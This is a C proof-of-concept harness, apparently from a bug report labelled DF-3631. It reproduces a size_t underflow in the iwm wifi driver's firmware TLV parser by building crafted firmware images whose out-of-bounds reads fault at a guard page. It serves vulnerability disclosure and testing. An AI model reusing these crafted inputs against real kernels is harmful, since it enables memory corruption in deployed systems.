DF-3631 / tlv_underflow.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 | /* * DF-3631 harness: faithful userland port of the iwm_read_firmware() TLV * walk in sys/dev/netif/iwm/if_iwm.c (lines 606-638), used to demonstrate * the size_t underflow in * * len -= roundup2(tlv_len, 4); (if_iwm.c:637) * data += sizeof(*tlv) + roundup2(tlv_len, 4); (if_iwm.c:638) * * The loop guard is only `if (len < tlv_len)` (if_iwm.c:630). When the * final TLV has a length that is not a multiple of 4 and ends exactly at * the end of the firmware image, roundup2(tlv_len,4) == tlv_len + k (k>0) * and the subtraction underflows: len becomes ~SIZE_MAX and the parser * keeps reading TLV headers past the end of the firmware buffer. * * The crafted image is placed at the end of an mmap'd page followed by a * PROT_NONE guard page, so the first OOB header read faults with SIGSEGV * exactly like the kernel would fault (or silently corrupt) past the * kmalloc'd firmware image. * * Case A: valid TLVs, final TLV = SEC_RT with length 5 at end of buffer. * Case B: file shorter than sizeof(struct iwm_tlv_ucode_header) -> * `len = datasize - sizeof(*uhdr)` underflows immediately * (if_iwm.c:620). * * Build: cc -O2 -o tlv_underflow tlv_underflow.c * Run: ./tlv_underflow A|B */ #include <sys/types.h> #include <sys/mman.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> /* --- verbatim structure/constant definitions from if_iwmreg.h --- */ struct iwm_ucode_tlv { uint32_t type; uint32_t length; uint8_t data[0]; }; struct iwm_tlv_ucode_header { uint32_t zero; uint32_t magic; uint8_t human_readable[64]; uint32_t ver; uint32_t build; uint64_t ignore; uint8_t data[0]; } __packed; #define IWM_TLV_UCODE_MAGIC 0x0a4c5749 #define IWM_UCODE_TLV_PAN 7 #define IWM_UCODE_TLV_SEC_RT 19 #define IWM_UCODE_TLV_NUM_OF_CPU 27 #define roundup2(x, y) (((x)+((y)-1))&(~((y)-1))) static uint32_t le32dec_(const void *p) { const uint8_t *b = p; return (uint32_t)b[0] | ((uint32_t)b[1] << 8) | ((uint32_t)b[2] << 16) | ((uint32_t)b[3] << 24); } /* counters standing in for sc->sc_fw state */ static int sec_count; /* verbatim from if_iwm.c:446-474 (iwm_firmware_store_section) */ static int fw_store_section(const uint8_t *d, size_t dlen) { if (dlen < sizeof(uint32_t)) return 1; /* first 32bit are device load offset; rest is data */ sec_count++; return 0; } /* * Verbatim walk from iwm_read_firmware() if_iwm.c:619-638 plus the two * switch arms our crafted image exercises (NUM_OF_CPU, SEC_RT). * device_printf -> fprintf(stderr, ...). */ static void parse(const uint8_t *fwdata, size_t datasize) { const struct iwm_tlv_ucode_header *uhdr; const struct iwm_ucode_tlv *tlv; const uint8_t *data; uint32_t tlv_len; size_t len; int niter = 0; uhdr = (const void *)fwdata; data = uhdr->data; len = datasize - sizeof(*uhdr); /* if_iwm.c:620 */ while (len >= sizeof(*tlv)) { /* if_iwm.c:622 */ len -= sizeof(*tlv); tlv = (const void *)data; tlv_len = le32dec_(&tlv->length); if (len < tlv_len) { /* if_iwm.c:630 - the ONLY check */ fprintf(stderr, "[harness] firmware too short: %zu bytes\n", len); return; } len -= roundup2(tlv_len, 4); /* if_iwm.c:637 UNDERFLOW SITE */ data += sizeof(*tlv) + roundup2(tlv_len, 4); fprintf(stderr, "[harness] iter %d: TLV at %zd (buf+%zd) type %u len %u " "-> remaining len field = %zu (0x%zx)\n", ++niter, (ssize_t)((const uint8_t *)tlv - fwdata), (ssize_t)((const uint8_t *)tlv - fwdata), le32dec_(&tlv->type), tlv_len, len, len); switch (le32dec_(&tlv->type)) { case IWM_UCODE_TLV_NUM_OF_CPU: /* exact-length check present in driver; len==4 ok */ break; case IWM_UCODE_TLV_SEC_RT: if (fw_store_section(tlv->data, tlv_len) != 0) { fprintf(stderr, "[harness] store sec fail\n"); return; } break; default: fprintf(stderr, "[harness] unknown TLV, abort\n"); return; } } fprintf(stderr, "[harness] parse completed cleanly after %d TLVs\n", niter); } static uint8_t * image_at_page_end(size_t *outsize, int mode) { /* * Map 2 pages, mprotect the 2nd PROT_NONE, place the image so that * it ends exactly at the page boundary. */ size_t pagesize = (size_t)sysconf(_SC_PAGESIZE); size_t tot; uint8_t *base, *img; if (mode == 'A') { /* hdr(88) + tlv1 hdr(8)+4 + tlv2 hdr(8)+5 = 113 */ tot = 88 + (8 + 4) + (8 + 5); } else { tot = 40; /* < sizeof(header)=88 */ } base = mmap(NULL, tot + pagesize, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0); if (base == MAP_FAILED) { perror("mmap"); exit(2); } if (mprotect(base + ((tot + pagesize - 1) & ~(pagesize - 1)), pagesize, PROT_NONE) != 0) { perror("mprotect"); exit(2); } img = base + (((tot + pagesize - 1) & ~(pagesize - 1)) - tot); memset(img, 0, tot); if (mode == 'A') { struct iwm_tlv_ucode_header *h = (void *)img; h->zero = 0; h->magic = IWM_TLV_UCODE_MAGIC; h->ver = 0x00000022; /* TLV #1: NUM_OF_CPU = 1, aligned */ struct iwm_ucode_tlv *t1 = (void *)(img + 88); *(uint32_t *)&t1->type = IWM_UCODE_TLV_NUM_OF_CPU; *(uint32_t *)&t1->length = 4; t1->data[0] = 1; /* TLV #2: SEC_RT, length 5 (UNALIGNED), ends at image end */ struct iwm_ucode_tlv *t2 = (void *)(img + 88 + 12); *(uint32_t *)&t2->type = IWM_UCODE_TLV_SEC_RT; *(uint32_t *)&t2->length = 5; memset(t2->data, 0xAA, 5); } else { struct iwm_tlv_ucode_header *h = (void *)img; h->zero = 0; h->magic = IWM_TLV_UCODE_MAGIC; /* 40-byte file: header truncated; uhdr->data starts in-page */ } *outsize = tot; return img; } int main(int argc, char **argv) { size_t datasize; uint8_t *img; int mode; if (argc < 2 || ((mode = argv[1][0]) != 'A' && mode != 'B')) { fprintf(stderr, "usage: %s A|B\n", argv[0]); return 2; } img = image_at_page_end(&datasize, mode); fprintf(stderr, "[harness] mode %c: image %zu bytes ending at guard " "page; entering verbatim iwm_read_firmware walk\n", mode, datasize); parse(img, datasize); /* NOT REACHED on the vulnerable path */ fprintf(stderr, "[harness] returned without faulting\n"); return 0; } |